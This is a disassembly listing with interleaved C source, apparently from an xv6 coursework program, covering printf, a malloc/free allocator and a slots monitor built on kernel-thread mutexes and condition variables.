4d5: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4dc: e9 7c 01 00 00 jmp 65d <printf+0x19e>
c = fmt[i] & 0xff;
4e1: 8b 55 0c mov 0xc(%ebp),%edx
4e4: 8b 45 f0 mov -0x10(%ebp),%eax
4e7: 01 d0 add %edx,%eax
4e9: 0f b6 00 movzbl (%eax),%eax
4ec: 0f be c0 movsbl %al,%eax
4ef: 25 ff 00 00 00 and $0xff,%eax
4f4: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4f7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4fb: 75 2c jne 529 <printf+0x6a>
if(c == '%'){
4fd: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
501: 75 0c jne 50f <printf+0x50>
state = '%';
503: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
50a: e9 4a 01 00 00 jmp 659 <printf+0x19a>
} else {
putc(fd, c);
50f: 8b 45 e4 mov -0x1c(%ebp),%eax
512: 0f be c0 movsbl %al,%eax
515: 89 44 24 04 mov %eax,0x4(%esp)
519: 8b 45 08 mov 0x8(%ebp),%eax
51c: 89 04 24 mov %eax,(%esp)
51f: e8 bb fe ff ff call 3df <putc>
524: e9 30 01 00 00 jmp 659 <printf+0x19a>
}
} else if(state == '%'){
529: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
52d: 0f 85 26 01 00 00 jne 659 <printf+0x19a>
if(c == 'd'){
533: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
537: 75 2d jne 566 <printf+0xa7>
printint(fd, *ap, 10, 1);
539: 8b 45 e8 mov -0x18(%ebp),%eax
53c: 8b 00 mov (%eax),%eax
53e: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
545: 00
546: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
54d: 00
54e: 89 44 24 04 mov %eax,0x4(%esp)
552: 8b 45 08 mov 0x8(%ebp),%eax
555: 89 04 24 mov %eax,(%esp)
558: e8 aa fe ff ff call 407 <printint>
ap++;
55d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
561: e9 ec 00 00 00 jmp 652 <printf+0x193>
} else if(c == 'x' || c == 'p'){
566: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
56a: 74 06 je 572 <printf+0xb3>
56c: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
570: 75 2d jne 59f <printf+0xe0>
printint(fd, *ap, 16, 0);
572: 8b 45 e8 mov -0x18(%ebp),%eax
575: 8b 00 mov (%eax),%eax
577: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
57e: 00
57f: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
586: 00
587: 89 44 24 04 mov %eax,0x4(%esp)
58b: 8b 45 08 mov 0x8(%ebp),%eax
58e: 89 04 24 mov %eax,(%esp)
591: e8 71 fe ff ff call 407 <printint>
ap++;
596: 83 45 e8 04 addl $0x4,-0x18(%ebp)
59a: e9 b3 00 00 00 jmp 652 <printf+0x193>
} else if(c == 's'){
59f: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
5a3: 75 45 jne 5ea <printf+0x12b>
s = (char*)*ap;
5a5: 8b 45 e8 mov -0x18(%ebp),%eax
5a8: 8b 00 mov (%eax),%eax
5aa: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
5ad: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
5b1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5b5: 75 09 jne 5c0 <printf+0x101>
s = "(null)";
5b7: c7 45 f4 8c 10 00 00 movl $0x108c,-0xc(%ebp)
while(*s != 0){
5be: eb 1e jmp 5de <printf+0x11f>
5c0: eb 1c jmp 5de <printf+0x11f>
putc(fd, *s);
5c2: 8b 45 f4 mov -0xc(%ebp),%eax
5c5: 0f b6 00 movzbl (%eax),%eax
5c8: 0f be c0 movsbl %al,%eax
5cb: 89 44 24 04 mov %eax,0x4(%esp)
5cf: 8b 45 08 mov 0x8(%ebp),%eax
5d2: 89 04 24 mov %eax,(%esp)
5d5: e8 05 fe ff ff call 3df <putc>
s++;
5da: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5de: 8b 45 f4 mov -0xc(%ebp),%eax
5e1: 0f b6 00 movzbl (%eax),%eax
5e4: 84 c0 test %al,%al
5e6: 75 da jne 5c2 <printf+0x103>
5e8: eb 68 jmp 652 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5ea: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5ee: 75 1d jne 60d <printf+0x14e>
putc(fd, *ap);
5f0: 8b 45 e8 mov -0x18(%ebp),%eax
5f3: 8b 00 mov (%eax),%eax
5f5: 0f be c0 movsbl %al,%eax
5f8: 89 44 24 04 mov %eax,0x4(%esp)
5fc: 8b 45 08 mov 0x8(%ebp),%eax
5ff: 89 04 24 mov %eax,(%esp)
602: e8 d8 fd ff ff call 3df <putc>
ap++;
607: 83 45 e8 04 addl $0x4,-0x18(%ebp)
60b: eb 45 jmp 652 <printf+0x193>
} else if(c == '%'){
60d: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
611: 75 17 jne 62a <printf+0x16b>
putc(fd, c);
613: 8b 45 e4 mov -0x1c(%ebp),%eax
616: 0f be c0 movsbl %al,%eax
619: 89 44 24 04 mov %eax,0x4(%esp)
61d: 8b 45 08 mov 0x8(%ebp),%eax
620: 89 04 24 mov %eax,(%esp)
623: e8 b7 fd ff ff call 3df <putc>
628: eb 28 jmp 652 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
62a: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
631: 00
632: 8b 45 08 mov 0x8(%ebp),%eax
635: 89 04 24 mov %eax,(%esp)
638: e8 a2 fd ff ff call 3df <putc>
putc(fd, c);
63d: 8b 45 e4 mov -0x1c(%ebp),%eax
640: 0f be c0 movsbl %al,%eax
643: 89 44 24 04 mov %eax,0x4(%esp)
647: 8b 45 08 mov 0x8(%ebp),%eax
64a: 89 04 24 mov %eax,(%esp)
64d: e8 8d fd ff ff call 3df <putc>
}
state = 0;
652: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
659: 83 45 f0 01 addl $0x1,-0x10(%ebp)
65d: 8b 55 0c mov 0xc(%ebp),%edx
660: 8b 45 f0 mov -0x10(%ebp),%eax
663: 01 d0 add %edx,%eax
665: 0f b6 00 movzbl (%eax),%eax
668: 84 c0 test %al,%al
66a: 0f 85 71 fe ff ff jne 4e1 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
670: c9 leave
671: c3 ret
00000672 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
672: 55 push %ebp
673: 89 e5 mov %esp,%ebp
675: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
678: 8b 45 08 mov 0x8(%ebp),%eax
67b: 83 e8 08 sub $0x8,%eax
67e: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
681: a1 34 15 00 00 mov 0x1534,%eax
686: 89 45 fc mov %eax,-0x4(%ebp)
689: eb 24 jmp 6af <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
68b: 8b 45 fc mov -0x4(%ebp),%eax
68e: 8b 00 mov (%eax),%eax
690: 3b 45 fc cmp -0x4(%ebp),%eax
693: 77 12 ja 6a7 <free+0x35>
695: 8b 45 f8 mov -0x8(%ebp),%eax
698: 3b 45 fc cmp -0x4(%ebp),%eax
69b: 77 24 ja 6c1 <free+0x4f>
69d: 8b 45 fc mov -0x4(%ebp),%eax
6a0: 8b 00 mov (%eax),%eax
6a2: 3b 45 f8 cmp -0x8(%ebp),%eax
6a5: 77 1a ja 6c1 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6a7: 8b 45 fc mov -0x4(%ebp),%eax
6aa: 8b 00 mov (%eax),%eax
6ac: 89 45 fc mov %eax,-0x4(%ebp)
6af: 8b 45 f8 mov -0x8(%ebp),%eax
6b2: 3b 45 fc cmp -0x4(%ebp),%eax
6b5: 76 d4 jbe 68b <free+0x19>
6b7: 8b 45 fc mov -0x4(%ebp),%eax
6ba: 8b 00 mov (%eax),%eax
6bc: 3b 45 f8 cmp -0x8(%ebp),%eax
6bf: 76 ca jbe 68b <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
6c1: 8b 45 f8 mov -0x8(%ebp),%eax
6c4: 8b 40 04 mov 0x4(%eax),%eax
6c7: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6ce: 8b 45 f8 mov -0x8(%ebp),%eax
6d1: 01 c2 add %eax,%edx
6d3: 8b 45 fc mov -0x4(%ebp),%eax
6d6: 8b 00 mov (%eax),%eax
6d8: 39 c2 cmp %eax,%edx
6da: 75 24 jne 700 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6dc: 8b 45 f8 mov -0x8(%ebp),%eax
6df: 8b 50 04 mov 0x4(%eax),%edx
6e2: 8b 45 fc mov -0x4(%ebp),%eax
6e5: 8b 00 mov (%eax),%eax
6e7: 8b 40 04 mov 0x4(%eax),%eax
6ea: 01 c2 add %eax,%edx
6ec: 8b 45 f8 mov -0x8(%ebp),%eax
6ef: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6f2: 8b 45 fc mov -0x4(%ebp),%eax
6f5: 8b 00 mov (%eax),%eax
6f7: 8b 10 mov (%eax),%edx
6f9: 8b 45 f8 mov -0x8(%ebp),%eax
6fc: 89 10 mov %edx,(%eax)
6fe: eb 0a jmp 70a <free+0x98>
} else
bp->s.ptr = p->s.ptr;
700: 8b 45 fc mov -0x4(%ebp),%eax
703: 8b 10 mov (%eax),%edx
705: 8b 45 f8 mov -0x8(%ebp),%eax
708: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
70a: 8b 45 fc mov -0x4(%ebp),%eax
70d: 8b 40 04 mov 0x4(%eax),%eax
710: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
717: 8b 45 fc mov -0x4(%ebp),%eax
71a: 01 d0 add %edx,%eax
71c: 3b 45 f8 cmp -0x8(%ebp),%eax
71f: 75 20 jne 741 <free+0xcf>
p->s.size += bp->s.size;
721: 8b 45 fc mov -0x4(%ebp),%eax
724: 8b 50 04 mov 0x4(%eax),%edx
727: 8b 45 f8 mov -0x8(%ebp),%eax
72a: 8b 40 04 mov 0x4(%eax),%eax
72d: 01 c2 add %eax,%edx
72f: 8b 45 fc mov -0x4(%ebp),%eax
732: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
735: 8b 45 f8 mov -0x8(%ebp),%eax
738: 8b 10 mov (%eax),%edx
73a: 8b 45 fc mov -0x4(%ebp),%eax
73d: 89 10 mov %edx,(%eax)
73f: eb 08 jmp 749 <free+0xd7>
} else
p->s.ptr = bp;
741: 8b 45 fc mov -0x4(%ebp),%eax
744: 8b 55 f8 mov -0x8(%ebp),%edx
747: 89 10 mov %edx,(%eax)
freep = p;
749: 8b 45 fc mov -0x4(%ebp),%eax
74c: a3 34 15 00 00 mov %eax,0x1534
}
751: c9 leave
752: c3 ret
00000753 <morecore>:
static Header*
morecore(uint nu)
{
753: 55 push %ebp
754: 89 e5 mov %esp,%ebp
756: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
759: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
760: 77 07 ja 769 <morecore+0x16>
nu = 4096;
762: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
769: 8b 45 08 mov 0x8(%ebp),%eax
76c: c1 e0 03 shl $0x3,%eax
76f: 89 04 24 mov %eax,(%esp)
772: e8 08 fc ff ff call 37f <sbrk>
777: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
77a: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
77e: 75 07 jne 787 <morecore+0x34>
return 0;
780: b8 00 00 00 00 mov $0x0,%eax
785: eb 22 jmp 7a9 <morecore+0x56>
hp = (Header*)p;
787: 8b 45 f4 mov -0xc(%ebp),%eax
78a: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
78d: 8b 45 f0 mov -0x10(%ebp),%eax
790: 8b 55 08 mov 0x8(%ebp),%edx
793: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
796: 8b 45 f0 mov -0x10(%ebp),%eax
799: 83 c0 08 add $0x8,%eax
79c: 89 04 24 mov %eax,(%esp)
79f: e8 ce fe ff ff call 672 <free>
return freep;
7a4: a1 34 15 00 00 mov 0x1534,%eax
}
7a9: c9 leave
7aa: c3 ret
000007ab <malloc>:
void*
malloc(uint nbytes)
{
7ab: 55 push %ebp
7ac: 89 e5 mov %esp,%ebp
7ae: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7b1: 8b 45 08 mov 0x8(%ebp),%eax
7b4: 83 c0 07 add $0x7,%eax
7b7: c1 e8 03 shr $0x3,%eax
7ba: 83 c0 01 add $0x1,%eax
7bd: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
7c0: a1 34 15 00 00 mov 0x1534,%eax
7c5: 89 45 f0 mov %eax,-0x10(%ebp)
7c8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7cc: 75 23 jne 7f1 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7ce: c7 45 f0 2c 15 00 00 movl $0x152c,-0x10(%ebp)
7d5: 8b 45 f0 mov -0x10(%ebp),%eax
7d8: a3 34 15 00 00 mov %eax,0x1534
7dd: a1 34 15 00 00 mov 0x1534,%eax
7e2: a3 2c 15 00 00 mov %eax,0x152c
base.s.size = 0;
7e7: c7 05 30 15 00 00 00 movl $0x0,0x1530
7ee: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7f1: 8b 45 f0 mov -0x10(%ebp),%eax
7f4: 8b 00 mov (%eax),%eax
7f6: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
7f9: 8b 45 f4 mov -0xc(%ebp),%eax
7fc: 8b 40 04 mov 0x4(%eax),%eax
7ff: 3b 45 ec cmp -0x14(%ebp),%eax
802: 72 4d jb 851 <malloc+0xa6>
if(p->s.size == nunits)
804: 8b 45 f4 mov -0xc(%ebp),%eax
807: 8b 40 04 mov 0x4(%eax),%eax
80a: 3b 45 ec cmp -0x14(%ebp),%eax
80d: 75 0c jne 81b <malloc+0x70>
prevp->s.ptr = p->s.ptr;
80f: 8b 45 f4 mov -0xc(%ebp),%eax
812: 8b 10 mov (%eax),%edx
814: 8b 45 f0 mov -0x10(%ebp),%eax
817: 89 10 mov %edx,(%eax)
819: eb 26 jmp 841 <malloc+0x96>
else {
p->s.size -= nunits;
81b: 8b 45 f4 mov -0xc(%ebp),%eax
81e: 8b 40 04 mov 0x4(%eax),%eax
821: 2b 45 ec sub -0x14(%ebp),%eax
824: 89 c2 mov %eax,%edx
826: 8b 45 f4 mov -0xc(%ebp),%eax
829: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
82c: 8b 45 f4 mov -0xc(%ebp),%eax
82f: 8b 40 04 mov 0x4(%eax),%eax
832: c1 e0 03 shl $0x3,%eax
835: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
838: 8b 45 f4 mov -0xc(%ebp),%eax
83b: 8b 55 ec mov -0x14(%ebp),%edx
83e: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
841: 8b 45 f0 mov -0x10(%ebp),%eax
844: a3 34 15 00 00 mov %eax,0x1534
return (void*)(p + 1);
849: 8b 45 f4 mov -0xc(%ebp),%eax
84c: 83 c0 08 add $0x8,%eax
84f: eb 38 jmp 889 <malloc+0xde>
}
if(p == freep)
851: a1 34 15 00 00 mov 0x1534,%eax
856: 39 45 f4 cmp %eax,-0xc(%ebp)
859: 75 1b jne 876 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
85b: 8b 45 ec mov -0x14(%ebp),%eax
85e: 89 04 24 mov %eax,(%esp)
861: e8 ed fe ff ff call 753 <morecore>
866: 89 45 f4 mov %eax,-0xc(%ebp)
869: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
86d: 75 07 jne 876 <malloc+0xcb>
return 0;
86f: b8 00 00 00 00 mov $0x0,%eax
874: eb 13 jmp 889 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
876: 8b 45 f4 mov -0xc(%ebp),%eax
879: 89 45 f0 mov %eax,-0x10(%ebp)
87c: 8b 45 f4 mov -0xc(%ebp),%eax
87f: 8b 00 mov (%eax),%eax
881: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
884: e9 70 ff ff ff jmp 7f9 <malloc+0x4e>
}
889: c9 leave
88a: c3 ret
0000088b <mesa_slots_monitor_alloc>:
#include "user.h"
mesa_slots_monitor_t* mesa_slots_monitor_alloc(){
88b: 55 push %ebp
88c: 89 e5 mov %esp,%ebp
88e: 83 ec 28 sub $0x28,%esp
int mutex= kthread_mutex_alloc() ;
891: e8 21 fb ff ff call 3b7 <kthread_mutex_alloc>
896: 89 45 f4 mov %eax,-0xc(%ebp)
if( mutex < 0){
899: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
89d: 79 0a jns 8a9 <mesa_slots_monitor_alloc+0x1e>
return 0;
89f: b8 00 00 00 00 mov $0x0,%eax
8a4: e9 8b 00 00 00 jmp 934 <mesa_slots_monitor_alloc+0xa9>
}
struct mesa_cond * empty = mesa_cond_alloc();
8a9: e8 44 06 00 00 call ef2 <mesa_cond_alloc>
8ae: 89 45 f0 mov %eax,-0x10(%ebp)
if (empty == 0){
8b1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8b5: 75 12 jne 8c9 <mesa_slots_monitor_alloc+0x3e>
kthread_mutex_dealloc(mutex);
8b7: 8b 45 f4 mov -0xc(%ebp),%eax
8ba: 89 04 24 mov %eax,(%esp)
8bd: e8 fd fa ff ff call 3bf <kthread_mutex_dealloc>
return 0;
8c2: b8 00 00 00 00 mov $0x0,%eax
8c7: eb 6b jmp 934 <mesa_slots_monitor_alloc+0xa9>
}
struct mesa_cond * full = mesa_cond_alloc();
8c9: e8 24 06 00 00 call ef2 <mesa_cond_alloc>
8ce: 89 45 ec mov %eax,-0x14(%ebp)
if (full == 0){
8d1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8d5: 75 1d jne 8f4 <mesa_slots_monitor_alloc+0x69>
kthread_mutex_dealloc(mutex);
8d7: 8b 45 f4 mov -0xc(%ebp),%eax
8da: 89 04 24 mov %eax,(%esp)
8dd: e8 dd fa ff ff call 3bf <kthread_mutex_dealloc>
mesa_cond_dealloc(empty);
8e2: 8b 45 f0 mov -0x10(%ebp),%eax
8e5: 89 04 24 mov %eax,(%esp)
8e8: e8 46 06 00 00 call f33 <mesa_cond_dealloc>
return 0;
8ed: b8 00 00 00 00 mov $0x0,%eax
8f2: eb 40 jmp 934 <mesa_slots_monitor_alloc+0xa9>
}
mesa_slots_monitor_t * monitor= malloc (sizeof (mesa_slots_monitor_t));
8f4: c7 04 24 14 00 00 00 movl $0x14,(%esp)
8fb: e8 ab fe ff ff call 7ab <malloc>
900: 89 45 e8 mov %eax,-0x18(%ebp)
monitor->empty= empty;
903: 8b 45 e8 mov -0x18(%ebp),%eax
906: 8b 55 f0 mov -0x10(%ebp),%edx
909: 89 50 04 mov %edx,0x4(%eax)
monitor->full= full;
90c: 8b 45 e8 mov -0x18(%ebp),%eax
90f: 8b 55 ec mov -0x14(%ebp),%edx
912: 89 50 08 mov %edx,0x8(%eax)
monitor->Monitormutex= mutex;
915: 8b 45 e8 mov -0x18(%ebp),%eax
918: 8b 55 f4 mov -0xc(%ebp),%edx
91b: 89 10 mov %edx,(%eax)
monitor->slots=0;
91d: 8b 45 e8 mov -0x18(%ebp),%eax
920: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
monitor->active=1;
927: 8b 45 e8 mov -0x18(%ebp),%eax
92a: c7 40 10 01 00 00 00 movl $0x1,0x10(%eax)
return monitor;
931: 8b 45 e8 mov -0x18(%ebp),%eax
}
934: c9 leave
935: c3 ret
00000936 <mesa_slots_monitor_dealloc>:
int mesa_slots_monitor_dealloc(mesa_slots_monitor_t* monitor){
936: 55 push %ebp
937: 89 e5 mov %esp,%ebp
939: 83 ec 18 sub $0x18,%esp
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
93c: 8b 45 08 mov 0x8(%ebp),%eax
93f: 8b 00 mov (%eax),%eax
941: 89 04 24 mov %eax,(%esp)
944: e8 76 fa ff ff call 3bf <kthread_mutex_dealloc>
949: 85 c0 test %eax,%eax
94b: 78 2e js 97b <mesa_slots_monitor_dealloc+0x45>
mesa_cond_alloc(monitor->empty)<0 ||
94d: 8b 45 08 mov 0x8(%ebp),%eax
950: 8b 40 04 mov 0x4(%eax),%eax
953: 89 04 24 mov %eax,(%esp)
956: e8 97 05 00 00 call ef2 <mesa_cond_alloc>
mesa_cond_alloc(monitor->full)<0
95b: 8b 45 08 mov 0x8(%ebp),%eax
95e: 8b 40 08 mov 0x8(%eax),%eax
961: 89 04 24 mov %eax,(%esp)
964: e8 89 05 00 00 call ef2 <mesa_cond_alloc>
){
return -1;
}
free(monitor);
969: 8b 45 08 mov 0x8(%ebp),%eax
96c: 89 04 24 mov %eax,(%esp)
96f: e8 fe fc ff ff call 672 <free>
return 0;
974: b8 00 00 00 00 mov $0x0,%eax
979: eb 05 jmp 980 <mesa_slots_monitor_dealloc+0x4a>
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
mesa_cond_alloc(monitor->empty)<0 ||
mesa_cond_alloc(monitor->full)<0
){
return -1;
97b: b8 ff ff ff ff mov $0xffffffff,%eax
}
free(monitor);
return 0;
}
980: c9 leave
981: c3 ret
00000982 <mesa_slots_monitor_addslots>:
int mesa_slots_monitor_addslots(mesa_slots_monitor_t* monitor,int n){
982: 55 push %ebp
983: 89 e5 mov %esp,%ebp
985: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
988: 8b 45 08 mov 0x8(%ebp),%eax
98b: 8b 40 10 mov 0x10(%eax),%eax
98e: 85 c0 test %eax,%eax
990: 75 0a jne 99c <mesa_slots_monitor_addslots+0x1a>
return -1;
992: b8 ff ff ff ff mov $0xffffffff,%eax
997: e9 81 00 00 00 jmp a1d <mesa_slots_monitor_addslots+0x9b>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
99c: 8b 45 08 mov 0x8(%ebp),%eax
99f: 8b 00 mov (%eax),%eax
9a1: 89 04 24 mov %eax,(%esp)
9a4: e8 1e fa ff ff call 3c7 <kthread_mutex_lock>
9a9: 83 f8 ff cmp $0xffffffff,%eax
9ac: 7d 07 jge 9b5 <mesa_slots_monitor_addslots+0x33>
return -1;
9ae: b8 ff ff ff ff mov $0xffffffff,%eax
9b3: eb 68 jmp a1d <mesa_slots_monitor_addslots+0x9b>
while ( monitor->active && monitor->slots > 0 )
9b5: eb 17 jmp 9ce <mesa_slots_monitor_addslots+0x4c>
{
//printf(1,"grader is sleeping %d\n ", monitor->active);
mesa_cond_wait( monitor->full, monitor->Monitormutex) ;
9b7: 8b 45 08 mov 0x8(%ebp),%eax
9ba: 8b 10 mov (%eax),%edx
9bc: 8b 45 08 mov 0x8(%ebp),%eax
9bf: 8b 40 08 mov 0x8(%eax),%eax
9c2: 89 54 24 04 mov %edx,0x4(%esp)
9c6: 89 04 24 mov %eax,(%esp)
9c9: e8 af 05 00 00 call f7d <mesa_cond_wait>
return -1;
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
return -1;
while ( monitor->active && monitor->slots > 0 )
9ce: 8b 45 08 mov 0x8(%ebp),%eax
9d1: 8b 40 10 mov 0x10(%eax),%eax
9d4: 85 c0 test %eax,%eax
9d6: 74 0a je 9e2 <mesa_slots_monitor_addslots+0x60>
9d8: 8b 45 08 mov 0x8(%ebp),%eax
9db: 8b 40 0c mov 0xc(%eax),%eax
9de: 85 c0 test %eax,%eax
9e0: 7f d5 jg 9b7 <mesa_slots_monitor_addslots+0x35>
//printf(1,"grader is sleeping %d\n ", monitor->active);
mesa_cond_wait( monitor->full, monitor->Monitormutex) ;
}
if ( monitor->active)
9e2: 8b 45 08 mov 0x8(%ebp),%eax
9e5: 8b 40 10 mov 0x10(%eax),%eax
9e8: 85 c0 test %eax,%eax
9ea: 74 11 je 9fd <mesa_slots_monitor_addslots+0x7b>
monitor->slots+= n;
9ec: 8b 45 08 mov 0x8(%ebp),%eax
9ef: 8b 50 0c mov 0xc(%eax),%edx
9f2: 8b 45 0c mov 0xc(%ebp),%eax
9f5: 01 c2 add %eax,%edx
9f7: 8b 45 08 mov 0x8(%ebp),%eax
9fa: 89 50 0c mov %edx,0xc(%eax)
mesa_cond_signal(monitor->empty);
9fd: 8b 45 08 mov 0x8(%ebp),%eax
a00: 8b 40 04 mov 0x4(%eax),%eax
a03: 89 04 24 mov %eax,(%esp)
a06: e8 dc 05 00 00 call fe7 <mesa_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
a0b: 8b 45 08 mov 0x8(%ebp),%eax
a0e: 8b 00 mov (%eax),%eax
a10: 89 04 24 mov %eax,(%esp)
a13: e8 b7 f9 ff ff call 3cf <kthread_mutex_unlock>
return 1;
a18: b8 01 00 00 00 mov $0x1,%eax
}
a1d: c9 leave
a1e: c3 ret
00000a1f <mesa_slots_monitor_takeslot>:
int mesa_slots_monitor_takeslot(mesa_slots_monitor_t* monitor){
a1f: 55 push %ebp
a20: 89 e5 mov %esp,%ebp
a22: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
a25: 8b 45 08 mov 0x8(%ebp),%eax
a28: 8b 40 10 mov 0x10(%eax),%eax
a2b: 85 c0 test %eax,%eax
a2d: 75 07 jne a36 <mesa_slots_monitor_takeslot+0x17>
return -1;
a2f: b8 ff ff ff ff mov $0xffffffff,%eax
a34: eb 7f jmp ab5 <mesa_slots_monitor_takeslot+0x96>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
a36: 8b 45 08 mov 0x8(%ebp),%eax
a39: 8b 00 mov (%eax),%eax
a3b: 89 04 24 mov %eax,(%esp)
a3e: e8 84 f9 ff ff call 3c7 <kthread_mutex_lock>
a43: 83 f8 ff cmp $0xffffffff,%eax
a46: 7d 07 jge a4f <mesa_slots_monitor_takeslot+0x30>
return -1;
a48: b8 ff ff ff ff mov $0xffffffff,%eax
a4d: eb 66 jmp ab5 <mesa_slots_monitor_takeslot+0x96>
while ( monitor->active && monitor->slots == 0 )
a4f: eb 17 jmp a68 <mesa_slots_monitor_takeslot+0x49>
mesa_cond_wait( monitor->empty, monitor->Monitormutex);
a51: 8b 45 08 mov 0x8(%ebp),%eax
a54: 8b 10 mov (%eax),%edx
a56: 8b 45 08 mov 0x8(%ebp),%eax
a59: 8b 40 04 mov 0x4(%eax),%eax
a5c: 89 54 24 04 mov %edx,0x4(%esp)
a60: 89 04 24 mov %eax,(%esp)
a63: e8 15 05 00 00 call f7d <mesa_cond_wait>
return -1;
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
return -1;
while ( monitor->active && monitor->slots == 0 )
a68: 8b 45 08 mov 0x8(%ebp),%eax
a6b: 8b 40 10 mov 0x10(%eax),%eax
a6e: 85 c0 test %eax,%eax
a70: 74 0a je a7c <mesa_slots_monitor_takeslot+0x5d>
a72: 8b 45 08 mov 0x8(%ebp),%eax
a75: 8b 40 0c mov 0xc(%eax),%eax
a78: 85 c0 test %eax,%eax
a7a: 74 d5 je a51 <mesa_slots_monitor_takeslot+0x32>
mesa_cond_wait( monitor->empty, monitor->Monitormutex);
if ( monitor->active)
a7c: 8b 45 08 mov 0x8(%ebp),%eax
a7f: 8b 40 10 mov 0x10(%eax),%eax
a82: 85 c0 test %eax,%eax
a84: 74 0f je a95 <mesa_slots_monitor_takeslot+0x76>
monitor->slots--;
a86: 8b 45 08 mov 0x8(%ebp),%eax
a89: 8b 40 0c mov 0xc(%eax),%eax
a8c: 8d 50 ff lea -0x1(%eax),%edx
a8f: 8b 45 08 mov 0x8(%ebp),%eax
a92: 89 50 0c mov %edx,0xc(%eax)
mesa_cond_signal(monitor->full);
a95: 8b 45 08 mov 0x8(%ebp),%eax
a98: 8b 40 08 mov 0x8(%eax),%eax
a9b: 89 04 24 mov %eax,(%esp)
a9e: e8 44 05 00 00 call fe7 <mesa_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
aa3: 8b 45 08 mov 0x8(%ebp),%eax
aa6: 8b 00 mov (%eax),%eax
aa8: 89 04 24 mov %eax,(%esp)
aab: e8 1f f9 ff ff call 3cf <kthread_mutex_unlock>
return 1;
ab0: b8 01 00 00 00 mov $0x1,%eax
}
